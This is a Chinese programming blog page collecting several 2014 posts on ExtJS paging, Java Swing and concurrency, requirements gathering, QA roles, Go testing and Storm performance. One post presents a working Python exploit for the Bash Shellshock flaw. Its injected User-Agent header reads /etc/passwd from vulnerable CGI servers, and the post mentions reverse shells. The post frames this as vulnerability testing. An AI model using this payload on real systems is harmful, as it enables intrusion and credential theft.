qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          Extjs分頁使用Java實現數據庫數據查詢

          關于Ext分 頁功能的實現。項目用的是js、Ext、servlet。下面貼下代碼:
          var obj = this;
          var pageSize = 20;   //統計結果分頁每一頁顯示數據條數
          //在這里使用Store來創建一個類似于數據表的結構,因為需要遠程獲取數據,所以應該使用
          //HttpProxy類,我是從后臺讀取的是json數據格式的數據,所以使用JsonReader來解析;
          var proxy = new Ext.data.HttpProxy({
          url:"com.test.check.servlets.QueryDetailServlet"
          });
          var statTime = Ext.data.Record.create([
          {name:"rowNo",type:"string",mapping:"rowNo"},
          {name:"gpsid",type:"string",mapping:"gpsid"},
          {name:"policeName",type:"string",mapping:"policeName"}
          ]);
          var reader = new Ext.data.JsonReader({
          totalProperty:"count", //此處與后臺json數據中相對應,為數據的總條數
          root:"data"      //這里是后臺json數據相對應
          },statTime);
          var store = new Ext.data.Store({
          proxy:proxy,
          reader:reader
          });
          //定義分頁工具條
          var bbarObj = new Ext.PagingToolbar({
          pageSize: pageSize,
          store: store,
          width: 300,
          displayInfo: true,      //該屬性為需要顯示分頁信息是設置
          //這里的數字會被分頁時候的顯示數據條數所自動替換顯示
          displayMsg: '顯示第 {0} 條到 {1} 條記錄,一共 {2} 條',
          emptyMsg: "沒有記錄",
          prependButtons: true
          });
          在我的項目中使用的是GridPanel來進行顯示數據表,所以定義如下:
          var grid = new Ext.grid.GridPanel({
          store: store,
          columns: [
          {header:'序號',width: 33, sortable: true,dataIndex:'rowNo',align:'center'},
          {id:'gpsid',header:'GPS編號',width: 85, sortable: true,dataIndex:'gpsid',align:'center'},
          {header:'警員名稱',width: 90, sortable: true,dataIndex:'policeName',align:'center'}
          ],
          region:'center',
          stripeRows: true,
          title:'統計表',
          autoHeight:true,
          width:302,
          autoScroll:true,
          loadMask:true,
          stateful: true,
          stateId: 'grid',
          columnLines:true,
          bbar:bbarObj   //將分頁工具欄添加到GridPanel上
          });
          //在以下方法中向后臺傳送需要的參數,在后臺servlet中可以使用
          //request.getParameter("");方法來獲取參數值;
          store.on('beforeload',function(){
          store.baseParams={
          code: code,
          timeType: timeType,
          timeValue: timeValue
          }
          });
          //將數據載入,這里參數為分頁參數,會根據分頁時候自動傳送后臺
          //也是使用request.getParameter("")獲取
          store.reload({
          params:{
          start:0,
          limit:pageSize
          }
          });
          duty.leftPanel.add(grid); //將GridPanel添加到我項目中使用的左側顯示欄
          duty.leftPanel.doLayout();
          duty.leftPanel.expand();  //左側顯示欄滑出
           后臺servlet獲取前臺傳輸的參數:
          response.setContentType("text/xml;charset=GBK");
          String orgId = request.getParameter("code");
          String rangeType = request.getParameter("timeType");
          String rangeValue = request.getParameter("timeValue");
          String start  = request.getParameter("start");
          String limit = request.getParameter("limit");
          StatService ss = new StatService();
          String json = ss.getStatByOrganization(orgId, rangeType, rangeValue, start, limit);
          PrintWriter out = response.getWriter();
          out.write(json);
          out.flush();
          out.close();
            下面講以下后臺將從數據庫查詢的數據組織成前臺需要的格式的json數據串
          StringBuffer json = new StringBuffer();
          String jsonData = "";
          ......
          //這里用前臺傳來的參數進行數據庫分頁查詢
          int startNum = new Integer(start).intValue();
          int limitNum = new Integer(limit).intValue();
          startNum = startNum + 1;
          limitNum = startNum + limitNum;
          ......
          rs = ps.executeQuery();
          //這里的count即是前臺創建的數據格式中的數據總數名稱,與之對應,data同樣
          json.append("{count:" + count + ",data:[{");
          int i = startNum - 1;  //該變量用來設置數據顯示序號
          while(rs.next()){
          i = i + 1;
          //這里的rowNo與前臺配置的數據字段名稱想對應,下面同樣
          json.append("rowNo:'" + i + "',");
          String gpsId = rs.getString("GPSID");
          json.append("gpsid:'" + gpsId + "',");
          String policeName = rs.getString("CALLNO");
          json.append("policeName:'" + policeName + "',");
          json.append("},{");
          }
          jsonData = json.substring(0, json.length()-2);
          jsonData = jsonData + "]}";
          //組成的json數據格式應該是:
          //{count:count,data:[{rowNo:rowNo,gpsId:gpsId,policeName:policeName},....]}
            就這樣完成了前臺的數據查詢交互;
            希望我的例子對各位有用。

          posted @ 2014-12-08 21:55 順其自然EVO 閱讀(463) | 評論 (0)編輯 收藏

          Java 圖像處理小軟件(界面+圖像處理)

          一、界面學習
            用java實現一個簡易計算器(代碼)如下:
          1 /*CJSCalculator.java 2014.8.4 by cjs
          2  *當點擊含有加號的按鈕時,則第一排第二個按鈕的文本變為加號;
          3  *當點擊“OK”按鈕時,將算出12+2的結果并在第一排最后一個按鈕顯示;
          4  *減號,乘號,除號的功能類似。其中,數字可以自己輸入,也可以固定不變。
          5  *以上是簡單的版本,如果有能力可以設計出更好更完善的計算器。
          6 **/
          7
          8 import java.awt.*;
          9 import javax.swing.*;
          10 import java.awt.event.*;
          11 public class CjsCalculator extends JFrame implements ActionListener {
          12     /* 繼承Jframe 實現 ActionListener 接口*/
          13
          14         //協助關閉窗口
          15         private class WindowCloser extends WindowAdapter {
          16         public void windowClosing(WindowEvent we) {
          17             System.exit(0);
          18         }
          19     }
          20     //strings for operator buttons.
          21
          22     private String[] str = { "+", "-", "*", "/", "OK"};
          23
          24     //build buttons.
          25
          26     JButton[] Obuttons = new JButton[str.length];
          27         //reset button
          28     JButton Rbutton = new JButton("reset");
          29
          30         //build textfield to show num and result
          31
          32     private JTextField display = new JTextField("0");
          33     private JTextField Fnum = new JTextField("");
          34     private JTextField Snum = new JTextField("");
          35     private JTextField Otext = new JTextField("");
          36     private JTextField Deng = new JTextField("=");
          37
          38     int i = 0;
          39
          40     //構造函數定義界面
          41     public CjsCalculator() {
          42
          43         Deng.setEditable(false);
          44         display.setEditable(false);
          45     Otext.setEditable(false);
          46     //super 父類
          47     //    super("Calculator");
          48
          49         //panel 面板容器
          50         JPanel panel1 = new JPanel(new GridLayout(1,5));
          51         for (i = 0; i < str.length; i++) {
          52             Obuttons[i] = new JButton(str[i]);
          53                 Obuttons[i].setBackground(Color.YELLOW);
          54             panel1.add(Obuttons[i]);
          55         }
          56
          57         JPanel panel2 = new JPanel(new GridLayout(1,5));
          58         panel2.add(Fnum);
          59         panel2.add(Otext);
          60         panel2.add(Snum);
          61         panel2.add(Deng);
          62         panel2.add(display);
          63
          64         JPanel panel3 = new JPanel(new GridLayout(1,1));
          65         panel3.add(Rbutton);
          66                 //初始化容器
          67         getContentPane().setLayout(new BorderLayout());
          68         getContentPane().add("North",panel2);
          69         getContentPane().add("Center",panel1);
          70         getContentPane().add("South",panel3);
          71         //Add listener for Obuttons.
          72         for (i = 0; i < str.length; i++)
          73             Obuttons[i].addActionListener(this);
          74
          75         display.addActionListener(this);
          76             Rbutton.addActionListener(this);
          77         setSize(8000,8000);//don't use ???
          78
          79         setVisible(true);//???
          80                 //不可改變大小
          81                 setResizable(false);
          82         //初始化容器
          83         pack();
          84     }
          85
          86         //實現監聽器的performed函數
          87     public void actionPerformed(ActionEvent e) {
          88                 Object happen = e.getSource();
          89         //
          90         String label = e.getActionCommand();
          91
          92         if ("+-*/".indexOf(label) >= 0)
          93             getOperator(label);
          94         else if (label == "OK")
          95             getEnd(label);
          96         else if ("reset".indexOf(label) >= 0)
          97              // display.setText("reset");
          98                       resetAll(label);
          99     }
          00         public void resetAll(String key) {
          101             Fnum.setText("");
          102         Snum.setText("");
          103         display.setText("");
          104         Otext.setText("");
          105     }
          106     public void getOperator(String key) {
          107         Otext.setText(key);
          108     }
          109
          110     public void getEnd(String label) {
          111                 if( (countDot(Fnum.getText()) > 1) || (countDot(Snum.getText())>1) || (Fnum.getText().length()==0) ||
          (Snum.getText().length() == 0)) {
          112                     display.setText("error");
          113                 }
          114         else if(checkNum(Fnum.getText())==false || checkNum(Snum.getText())==false){
          115                 display.setText("error");
          116              }
          117         else {
          118                 double Fnumber = Double.parseDouble(Fnum.getText().trim());
          119             double Snumber = Double.parseDouble(Snum.getText().trim());
          120             if (Fnum.getText() != "" && Snum.getText() != "") {
          121                    if (Otext.getText().indexOf("+") >= 0) {
          122                     double CjsEnd = Fnumber + Snumber;
          123                     display.setText(String.valueOf(CjsEnd));
          124                 }
          125                                 else if (Otext.getText().indexOf("-")>=0) {
          126                                        double CjsEnd = Fnumber - Snumber;
          127                                         display.setText(String.valueOf(CjsEnd));
          128                                 }
          129                         else if (Otext.getText().indexOf("*")>=0) {
          130                                         double CjsEnd = Fnumber * Snumber;
          131                                            display.setText(String.valueOf(CjsEnd));
          132                                 }
          133                                 else if (Otext.getText().indexOf("/")>=0) {
          134                                         double CjsEnd = Fnumber / Snumber;
          135                                         display.setText(String.valueOf(CjsEnd));
          136                                 }
          137                 else
          138                     display.setText("error");
          139
          140             }
          141             else
          142                 display.setText("num is null");
          143                 }
          144
          145     }
          146         public int countDot(String str) {
          147         int count = 0;
          148         for (char c:str.toCharArray()) {
          149             if (c == '.')
          150                 count++;
          151         }
          152         return count;
          153         }
          154         public boolean checkNum(String str) {
          155            boolean tmp = true;
          156         for (char c:str.toCharArray()) {
          157             if (Character.isDigit(c) || (c == '.'));
          158             else {
          159                 tmp = false;
          160                 break;
          161             }
          162         }
          163         return tmp;
          164         }
          165     public static void main(String[] args) {
          166         new CjsCalculator();
          167     }
          168 }
            終端運行該java文件,結果如圖所示:

          posted @ 2014-12-08 21:54 順其自然EVO 閱讀(274) | 評論 (0)編輯 收藏

          Java并發編程:synchronized

          雖然多線程編程極大地提高了效率,但是也會帶來一定的隱患。比如說兩個線程同時往一個數據庫表中插入不重復的數據,就可能會導致數據庫中插入了相同的數據。今天我們就來一起討論下線程安全問題,以及Java中提供了什么機制來解決線程安全問題。
            一.什么時候會出現線程安全問題?
            在單線程中不會出現線程安全問題,而在多線程編程中,有可能會出現同時訪問同一個資源的情況,這種資源可以是各種類型的的資源:一個變量、一個對象、一個文件、一個數據庫表等,而當多個線程同時訪問同一個資源的時候,就會存在一個問題:
            由于每個線程執行的過程是不可控的,所以很可能導致最終的結果與實際上的愿望相違背或者直接導致程序出錯。
            舉個簡單的例子:
            現在有兩個線程分別從網絡上讀取數據,然后插入一張數據庫表中,要求不能插入重復的數據。
            那么必然在插入數據的過程中存在兩個操作:
            1)檢查數據庫中是否存在該條數據;
            2)如果存在,則不插入;如果不存在,則插入到數據庫中。
            假如兩個線程分別用thread-1和thread-2表示,某一時刻,thread-1和thread-2都讀取到了數據X,那么可能會發生這種情況:
            thread-1去檢查數據庫中是否存在數據X,然后thread-2也接著去檢查數據庫中是否存在數據X。
            結果兩個線程檢查的結果都是數據庫中不存在數據X,那么兩個線程都分別將數據X插入數據庫表當中。
            這個就是線程安全問題,即多個線程同時訪問一個資源時,會導致程序運行結果并不是想看到的結果。
            這里面,這個資源被稱為:臨界資源(也有稱為共享資源)。
            也就是說,當多個線程同時訪問臨界資源(一個對象,對象中的屬性,一個文件,一個數據庫等)時,就可能會產生線程安全問題。
            不過,當多個線程執行一個方法,方法內部的局部變量并不是臨界資源,因為方法是在棧上執行的,而Java棧是線程私有的,因此不會產生線程安全問題。
            二.如何解決線程安全問題?
            那么一般來說,是如何解決線程安全問題的呢?
            基本上所有的并發模式在解決線程安全問題時,都采用“序列化訪問臨界資源”的方案,即在同一時刻,只能有一個線程訪問臨界資源,也稱作同步互斥訪問。
            通常來說,是在訪問臨界資源的代碼前面加上一個鎖,當訪問完臨界資源后釋放鎖,讓其他線程繼續訪問。
            在Java中,提供了兩種方式來實現同步互斥訪問:synchronized和Lock。
            本文主要講述synchronized的使用方法,Lock的使用方法在下一篇博文中講述。
            三.synchronized同步方法或者同步塊
            在了解synchronized關鍵字的使用方法之前,我們先來看一個概念:互斥鎖,顧名思義:能到達到互斥訪問目的的鎖。
            舉個簡單的例子:如果對臨界資源加上互斥鎖,當一個線程在訪問該臨界資源時,其他線程便只能等待。
            在Java中,每一個對象都擁有一個鎖標記(monitor),也稱為監視器,多線程同時訪問某個對象時,線程只有獲取了該對象的鎖才能訪問。
            在Java中,可以使用synchronized關鍵字來標記一個方法或者代碼塊,當某個線程調用該對象的synchronized方法或者訪問synchronized代碼塊時,這個線程便獲得了該對象的鎖,其他線程暫時無法訪問這個方法,只有等待這個方法執行完畢或者代碼塊執行完畢,這個線程才會釋放該對象的鎖,其他線程才能執行這個方法或者代碼塊。
            下面通過幾個簡單的例子來說明synchronized關鍵字的使用:
            1.synchronized方法
            下面這段代碼中兩個線程分別調用insertData對象插入數據:
          public class Test {
          public static void main(String[] args)  {
          final InsertData insertData = new InsertData();
          new Thread() {
          public void run() {
          insertData.insert(Thread.currentThread());
          };
          }.start();
          new Thread() {
          public void run() {
          insertData.insert(Thread.currentThread());
          };
          }.start();
          }
          }
          class InsertData {
          private ArrayList<Integer> arrayList = new ArrayList<Integer>();
          public void insert(Thread thread){
          for(int i=0;i<5;i++){
          System.out.println(thread.getName()+"在插入數據"+i);
          arrayList.add(i);
          }
          }
          }
          此時程序的輸出結果為:
            說明兩個線程在同時執行insert方法。
            而如果在insert方法前面加上關鍵字synchronized的話,運行結果為:
          class InsertData {
          private ArrayList<Integer> arrayList = new ArrayList<Integer>();
          public synchronized void insert(Thread thread){
          for(int i=0;i<5;i++){
          System.out.println(thread.getName()+"在插入數據"+i);
          arrayList.add(i);
          }
          }
          }
            從上輸出結果說明,Thread-1插入數據是等Thread-0插入完數據之后才進行的。說明Thread-0和Thread-1是順序執行insert方法的。
            這就是synchronized方法。
            不過有幾點需要注意:
            1)當一個線程正在訪問一個對象的synchronized方法,那么其他線程不能訪問該對象的其他synchronized方法。這個原因很簡單,因為一個對象只有一把鎖,當一個線程獲取了該對象的鎖之后,其他線程無法獲取該對象的鎖,所以無法訪問該對象的其他synchronized方法。
            2)當一個線程正在訪問一個對象的synchronized方法,那么其他線程能訪問該對象的非synchronized方法。這個原因很簡單,訪問非synchronized方法不需要獲得該對象的鎖,假如一個方法沒用synchronized關鍵字修飾,說明它不會使用到臨界資源,那么其他線程是可以訪問這個方法的,
            3)如果一個線程A需要訪問對象object1的synchronized方法fun1,另外一個線程B需要訪問對象object2的synchronized方法fun1,即使object1和object2是同一類型),也不會產生線程安全問題,因為他們訪問的是不同的對象,所以不存在互斥問題。
            2.synchronized代碼塊
            synchronized代碼塊類似于以下這種形式:
            synchronized(synObject) {
            }
            當在某個線程中執行這段代碼塊,該線程會獲取對象synObject的鎖,從而使得其他線程無法同時訪問該代碼塊。
            synObject可以是this,代表獲取當前對象的鎖,也可以是類中的一個屬性,代表獲取該屬性的鎖。
            比如上面的insert方法可以改成以下兩種形式:
          class InsertData {
          private ArrayList<Integer> arrayList = new ArrayList<Integer>();
          public void insert(Thread thread){
          synchronized (this) {
          for(int i=0;i<100;i++){
          System.out.println(thread.getName()+"在插入數據"+i);
          arrayList.add(i);
          }
          }
          }
          }
          class InsertData {
          private ArrayList<Integer> arrayList = new ArrayList<Integer>();
          private Object object = new Object();
          public void insert(Thread thread){
          synchronized (object) {
          for(int i=0;i<100;i++){
          System.out.println(thread.getName()+"在插入數據"+i);
          arrayList.add(i);
          }
          }
          }
          }
            從上面可以看出,synchronized代碼塊使用起來比synchronized方法要靈活得多。因為也許一個方法中只有一部分代碼只需要同步,如果此時對整個方法用synchronized進行同步,會影響程序執行效率。而使用synchronized代碼塊就可以避免這個問題,synchronized代碼塊可以實現只對需要同步的地方進行同步。
            另外,每個類也會有一個鎖,它可以用來控制對static數據成員的并發訪問。
            并且如果一個線程執行一個對象的非static synchronized方法,另外一個線程需要執行這個對象所屬類的static synchronized方法,此時不會發生互斥現象,因為訪問static synchronized方法占用的是類鎖,而訪問非static synchronized方法占用的是對象鎖,所以不存在互斥現象。
            看下面這段代碼就明白了:
          public class Test {
          public static void main(String[] args)  {
          final InsertData insertData = new InsertData();
          new Thread(){
          @Override
          public void run() {
          insertData.insert();
          }
          }.start();
          new Thread(){
          @Override
          public void run() {
          insertData.insert1();
          }
          }.start();
          }
          }
          class InsertData {
          public synchronized void insert(){
          System.out.println("執行insert");
          try {
          Thread.sleep(5000);
          } catch (InterruptedException e) {
          e.printStackTrace();
          }
          System.out.println("執行insert完畢");
          }
          public synchronized static void insert1() {
          System.out.println("執行insert1");
          System.out.println("執行insert1完畢");
          }
          }
            執行結果;
            第一個線程里面執行的是insert方法,不會導致第二個線程執行insert1方法發生阻塞現象。
            下面我們看一下synchronized關鍵字到底做了什么事情,我們來反編譯它的字節碼看一下,下面這段代碼反編譯后的字節碼為:
          public class InsertData {
          private Object object = new Object();
          public void insert(Thread thread){
          synchronized (object) {
          }
          }
          public synchronized void insert1(Thread thread){
          }
          public void insert2(Thread thread){
          }
          }
            從反編譯獲得的字節碼可以看出,synchronized代碼塊實際上多了monitorenter和monitorexit兩條指令。monitorenter指令執行時會讓對象的鎖計數加1,而monitorexit指令執行時會讓對象的鎖計數減1,其實這個與操作系統里面的PV操作很像,操作系統里面的PV操作就是用來控制多個線程對臨界資源的訪問。對于synchronized方法,執行中的線程識別該方法的 method_info 結構是否有 ACC_SYNCHRONIZED 標記設置,然后它自動獲取對象的鎖,調用方法,最后釋放鎖。如果有異常發生,線程自動釋放鎖。
            有一點要注意:對于synchronized方法或者synchronized代碼塊,當出現異常時,JVM會自動釋放當前線程占用的鎖,因此不會由于異常導致出現死鎖現象。

          posted @ 2014-12-08 21:52 順其自然EVO 閱讀(221) | 評論 (0)編輯 收藏

          IT需求管理之拜訪

          項目組經過一番努力,獲得了一些初步的成果。首先是給客戶留下了一個良好的印象,這是一個開端,但要在他們心目中樹立自己的職業威信還要看你今后的表現。同時,我們與客戶一起為項目制訂了短期與長期目標。不要小看了這些目標,它們就是我們的尚方寶劍。正是因為有了它,今后項目中的有關各方就應當協助實現這個目標。我們應當清晰地向客戶表達這樣一個意思,要完成這樣的目標,不是某一方的努力,而是雙方共同努力的結果。這也是客戶方召開這樣一個項目啟動會議的重要意義。最后一個成果,也是最重要的成果,就是與各種角色、各個類型的客戶建立了聯系。下面,我們將一個一個去拜訪他們,展開我們的需求調研。
            與西方人不同,中國人做事往往比較重視感情,這是與中國數千年的文化分不開的。讓我們來聽聽一位金牌銷售員是怎么做生意的:“我跟客戶頭幾次見面,絕對不提生意的事,玩,就是玩。吃飯啦,唱卡拉OK啦,打球啦??????先建立關系,關系好了再慢慢提生意的事兒。”這說得比較夸張,畢竟他是在做銷售,但至少傳達出一個概念,那就是做事先培養感情,感情培養起來才好慢慢做事,需求調研也是一樣。
            需求調研不是一蹴而就的事情,是一件持續數月甚至數年的工作(假如項目還有后期維護)。在這漫長的時間里,我們需要依靠客戶這個群體的幫助,一步一步掌握真實可靠的業務需求。不僅如此,技術這東西總有不如意甚至實現不了的地方,我們需要客戶的理解與包容,這都需要有良好的客戶關系。按照現在的軟件運作理念,軟件項目已經不是一錘子的買賣,而是長期的、持續不斷的提供服務。按照這樣的理念,軟件供應商與客戶建立的是長期共贏的戰略協作關系,這更需要我們與客戶建立長期友好的關系。
            盡管如此,我們也不能總是期望客戶中的所有人都能與我們合作,很多項目都不可避免地存在阻礙項目開展的人。如很多ERP項目會損害采購和銷售人員的利益,因為信息化的管理斷了他們的財路;很多企業管理軟件會遭到來自基層操作人員的抵制,因為它會給基層操作人員帶來更多的工作量負擔。有一次,我們給一個集團開發一套軟件,當我們下到基層單位時,才發現,一些基層單位已經有了相應的管理軟件。我們的軟件成功上線,必然就意味著這些基層單位的管理軟件壽終正寢,這必然影響到基層信息化管理專員的利益和政績。
            分析一個客戶人群的關系,就是在分析這個人群中,誰有意愿支持我們,而誰卻在自覺不自覺地阻礙我們。那些通過這個項目可以提高政績,提高自身價值的人,都是我們可以爭取的盟友。他們是我們最可以依賴的人,我們一定要與他們站在一起,榮辱與共,建立戰略合作伙伴關系。
            另一種人,即使軟件獲得了成功,也與他沒有太多關系,但你與他相處得好,卻可以給予你巨大的幫助,這種人是我們需要拼命爭取的人。所謂領域專家,他可以給你多講點兒,但隨便打發你,對他也沒太大影響。報著謙虛謹慎、相互尊重的態度,大方地與他們交往。當他們幫助我們以后,真誠地予以感謝。這是我總結出來的,與他們交往的準則。
            最后,就是那些對我們懷有敵意的人。盡管有敵意,但我們能夠坦蕩的,敞開心扉的與他們交往。雖然不能奢望太多,但拿出誠意去爭取他們,也還是有機會化干戈為玉帛、化敵為友。如果能夠那樣,那是再好不過了。
            經過一番交往,我們將逐漸在客戶中結識一批可以幫助我們的人。今后一段日子里,我們將依靠他們去學習和認識業務知識,收集業務需求,為日后的軟件研發提供素材。

          posted @ 2014-12-08 21:32 順其自然EVO 閱讀(213) | 評論 (0)編輯 收藏

          高能力成熟度軟件企業中軟件質量工程師的職責

          隨著科學技術的不斷發展進步,企業之間的競爭越來越激烈。軟件企業要想在競爭中發展生存,提高軟件產品質量已成為必要條件。在一些高能力成熟度軟件企業中,專門成立了質量保證和控制職能部門,起著提高項目管理透明性和確保軟件產品質量的雙重作用。
            軟件質量工程師是隸屬于質量監控部門的工程師,他們獨立于項目對質量保證經理負責,以獨立審查的方式監控軟件生產任務的執行,給開發人員和管理層提供反映產品質量的信息和數據,輔助軟件工程組得到高質量的軟件產品。每位軟件質量工程師可以同時介入多個項目。
            軟件質量工程師的工作原則是"用過程質量確保產品質量"。 軟件質量工程師在軟件生存期的各個階段起著不同的作用,是軟件項目開發過程中不可或缺的重要成員。
            軟件質量工程師的職責分為組織相關的職責和項目相關的職責。
            1.組織相關的職責
            ·與客戶及時溝通,確保客戶滿意
            軟件質量工程師應當擔當"客戶代表"的角色,及時與客戶進行溝通,了解客戶對產品質量、開發進度、開發費用等方面的需求。定期進行客戶滿意度調查,對客戶反饋信息進行分析,為項目管理提供分析結果,及時根據客戶需求協助項目經理調整項目開發計劃。 ·內部評審
            軟件質量工程師參與項目的內部評審活動,其職責包括確定評審員,為評審組織確定評審內容,確保評審按既定的過程執行,并向管理團隊通報評審結果。
            ·審計
            軟件質量工程師參與改進并跟蹤現有審計制度以適應項目和產品解決方案發展的需要。軟件質量工程師相互協作以確保不斷地改進現有的審計內容和審計制度,提高管理的透明性。
            ·度量
            其職責主要是進行量化過程管理,包括完善和執行統計過程控制,貫徹執行度量標準,通過數據采集和分析完善度量基準。
            2.項目相關的職責
            ·為相關項目提供過程管理和質量保證咨詢
            軟件質量工程師參加項目啟動會議,為制定項目開發計劃提供相關歷史數據。為項目開發人員提供質量保證相關知識的咨詢。
            ·幫助項目建立切實可行的質量保證目標,選擇適當的質量保證基準
            軟件質量工程師根據客戶需求、企業內部質量審查標準、行業標準,按照項目類別建立項目質量保證目標,與項目成員一起討論并進行必要的修改。明確度量標準和數據收集方法,在項目實施過程中根據建立的目標對項目進行實時監控。
            ·制定項目質量保證計劃
            軟件質量工程師根據項目類別、質量保證目標、項目開發進度制定相應的質量保證計劃。
            ·項目審查
            軟件質量工程師應當參與必要的項目審查。審查內容包括:
            - 產品需求說明書
            - 軟件項目開發計劃
            - 測試計劃
            - 測試總結報告
            ·數據收集和分析
            軟件質量工程師負責按軟件質量保證計劃收集與項目相關的數據,通過對數據進行分析,及時將與質量相關的反饋和建議匯報給項目負責人和高級主管。項目負責人根據反饋數據調整項目開發計劃。
            ·項目審計
            軟件質量工程師負責鑒別項目開發中與項目質量保證計劃中規定的標準和過程不相符的內容,當這些內容與計劃偏離比較多,以至于可能影響到項目的及時高質量完成時,可以考慮召開項目審計會議。
            軟件質量工程師負責會議的計劃、主持,確保審計所有偏離內容,并匯報審計結果。
            ·系統測試
            軟件質量工程師可以介入系統測試,確保軟件產品符合質量要求,滿足客戶需求。軟件質量工程師幫助系統測試工程師收集數據,將數據分析結果反饋給項目負責人、系統測試工程師和項目組其他成員。
            ·錯誤預防
            軟件質量工程師負責提供歷史和當前數據,幫助項目了解項目所處狀態、進度和存在的弱點。所有的錯誤預防工作都應由項目負責人計劃并跟蹤,軟件質量工程師負責監督。


          posted @ 2014-12-08 21:27 順其自然EVO 閱讀(892) | 評論 (0)編輯 收藏

          Bash遠程命令執行漏洞(CVE-2014-6271)分析利用

          這幾天Bash被爆存在遠程命令執行漏洞(CVE-2014-6271),昨天參加完isc,晚上回家測試了一下,寫了個python版本的測試小基本,貼上代碼:
          #coding:utf-8
          import urllib,httplib
          import sys,re,urlparse
          #author:nx4dm1n
          #website:http://www.nxadmin.com
          def bash_exp(url):
          urlsp=urlparse.urlparse(url)
          hostname=urlsp.netloc
          urlpath=urlsp.path
          conn=httplib.HTTPConnection(hostname)
          headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
          conn.request("GET",urlpath,headers=headers)
          res=conn.getresponse()
          res=res.getheaders()
          for passwdstr in res:
          print passwdstr[0]+':'+passwdstr[1]
          if __name__=='__main__':
          #帶http
          if len(sys.argv)<2:
          print "Usage: "+sys.argv[0]+" http://www.nxadmin.com/cgi-bin/index.cgi"
          sys.exit()
          else:
          bash_exp(sys.argv[1])
            腳本執行效果如圖所示:
            bash命令執行
            也可以用burp進行測試。
            利用該漏洞其實可以做很多事情,寫的python小腳本只是執行了cat /etc/passwd。可以執行反向鏈接的命令等,直接獲取一個shell還是有可能的。不過漏洞存在的條件也比較苛刻,測試找了一些,發現了很少幾個存在漏洞

          posted @ 2014-12-08 20:43 順其自然EVO 閱讀(350) | 評論 (0)編輯 收藏

          Golang UnitTest單元測試

          最近做項目的時候一直很苦惱,go的單元測試是怎么回事,之前有看過go test  xx_test.go命令進行單元測試,只知道有這么一說。最近項目中寫了很多工具類,一直想測試一下性能和執行結果。發現完全不對。
            這是代碼。
            發現多次執行go test utilfile_test.go完全沒有任何輸出。查很多原因和多帖子,都沒說到重點。今天在群里問了下,才發現go單元測試對文件名和方法名,參數都有很嚴格的要求。
            例如:
            1、文件名必須以xx_test.go命名
            2、方法必須是Test[^a-z]開頭
            3、方法參數必須 t *testing.T
            之前就因為第 2 點沒有寫對,導致找了半天錯誤。現在真的讓人記憶深刻啊,小小的東西當初看書沒仔細。
            下面分享一點go test的參數解讀。來源
            格式形如:
            go test [-c] [-i] [build flags] [packages] [flags for test binary]
            參數解讀:
            -c : 編譯go test成為可執行的二進制文件,但是不運行測試。
            -i : 安裝測試包依賴的package,但是不運行測試。
            關于build flags,調用go help build,這些是編譯運行過程中需要使用到的參數,一般設置為空
            關于packages,調用go help packages,這些是關于包的管理,一般設置為空
            關于flags for test binary,調用go help testflag,這些是go test過程中經常使用到的參數
            -test.v : 是否輸出全部的單元測試用例(不管成功或者失敗),默認沒有加上,所以只輸出失敗的單元測試用例。
            -test.run pattern: 只跑哪些單元測試用例
            -test.bench patten: 只跑那些性能測試用例
            -test.benchmem : 是否在性能測試的時候輸出內存情況
            -test.benchtime t : 性能測試運行的時間,默認是1s
            -test.cpuprofile cpu.out : 是否輸出cpu性能分析文件
            -test.memprofile mem.out : 是否輸出內存性能分析文件
            -test.blockprofile block.out : 是否輸出內部goroutine阻塞的性能分析文件
            -test.memprofilerate n : 內存性能分析的時候有一個分配了多少的時候才打點記錄的問題。這個參數就是設置打點的內存分配間隔,也就是profile中一個sample代表的內存大小。默認是設置為512 * 1024的。如果你將它設置為1,則每分配一個內存塊就會在profile中有個打點,那么生成的profile的sample就會非常多。如果你設置為0,那就是不做打點了。
            你可以通過設置memprofilerate=1和GOGC=off來關閉內存回收,并且對每個內存塊的分配進行觀察。
            -test.blockprofilerate n: 基本同上,控制的是goroutine阻塞時候打點的納秒數。默認不設置就相當于-test.blockprofilerate=1,每一納秒都打點記錄一下
            -test.parallel n : 性能測試的程序并行cpu數,默認等于GOMAXPROCS。
            -test.timeout t : 如果測試用例運行時間超過t,則拋出panic
            -test.cpu 1,2,4 : 程序運行在哪些CPU上面,使用二進制的1所在位代表,和nginx的nginx_worker_cpu_affinity是一個道理
            -test.short : 將那些運行時間較長的測試用例運行時間縮短

          posted @ 2014-12-08 20:42 順其自然EVO 閱讀(570) | 評論 (0)編輯 收藏

          Strom及DRPC性能測試與改進

          參考1:storm性能測試報告
            參考2:Storm DRPC 使用
            參考3:Storm DRPC 使用及訪問C++ Bolt問題的解決方法
            參考4:Storm 多語言支持之ShellBolt原理及改進
            參考5:Base64編碼及編碼性能測試
            參考6:Base64編碼及編碼性能測試 [改進]
            參考7:zlib使用與性能測試
            參考8:十分簡單的redis使用說明及性能測試
            [參考1]的結論與局限
            參考種對Storm性能進行測試,得出了以下結論:
            storm單條流水線的處理能力大約為20000 tupe/s, (每個tuple大小為1000字節)
            storm系統本省的處理延遲為毫秒級
            在集群中橫向擴展可以增加系統的處理能力,實測結果為1.6倍
            Storm中大量的使用了線程,即使單條處理流水線的系統,也有十幾個線程在同時運行,所以幾乎所有的16個CPU都在運行狀態,load average 約為 3.5
            Jvm GC一般情況下對系統性能影響有限,但是內存緊張時,GC會成為系統性能的瓶頸
            使用外部處理程序性能下降明顯,所以在高性能要求下,盡量使用storm內建的處理模式
            作者對strom的處理能力和可擴展性進行了測試,給出了很有說服力的數據。但還不能滿足我們的需要:
            1)由于作者使用的tuple為1000字節,也就是1K,數據量相對較小,而在實際使用過程中,storm作為實時流處理系統,處理的數據可能比較大。比如我們用來進行圖像處理,一個圖片可能有1M左右。這時候storm的性能如何呢?
            2)為了簡化storm的集成,我們使用DRPC來訪問storm,具體用法可參見[參考2]和[參考3],在DRPC訪問時,數據需要從DRPCClient發送至DRPCServer,再由DRPCServer發送給topology中的spout,spoout發送給Bolt........;當數據處理完畢后,還要由Bolt返回給DPRCServer,由DRPCServer返回給DRPCClient。
            增加了這些步驟以后,Strom DRPC的性能究竟如何呢?
            3)作者在[參考1]中提到,使用外部處理程序時Storm的性能明顯下降,大概只有1/10的性能。但是我們在實際使用中,可能經常是在已有的基礎上,將功能集成到Storm中運行。通俗點說:實際情況是我們經常使用外部處理程序,這種情況下,怎么能提高Storm的性能呢?關于這點可以查看[參考4]。我們使用JNI來解決。
            測試與結論
            1)測試環境
            測試環境如圖所示
            有客戶端和兩臺服務器組成。
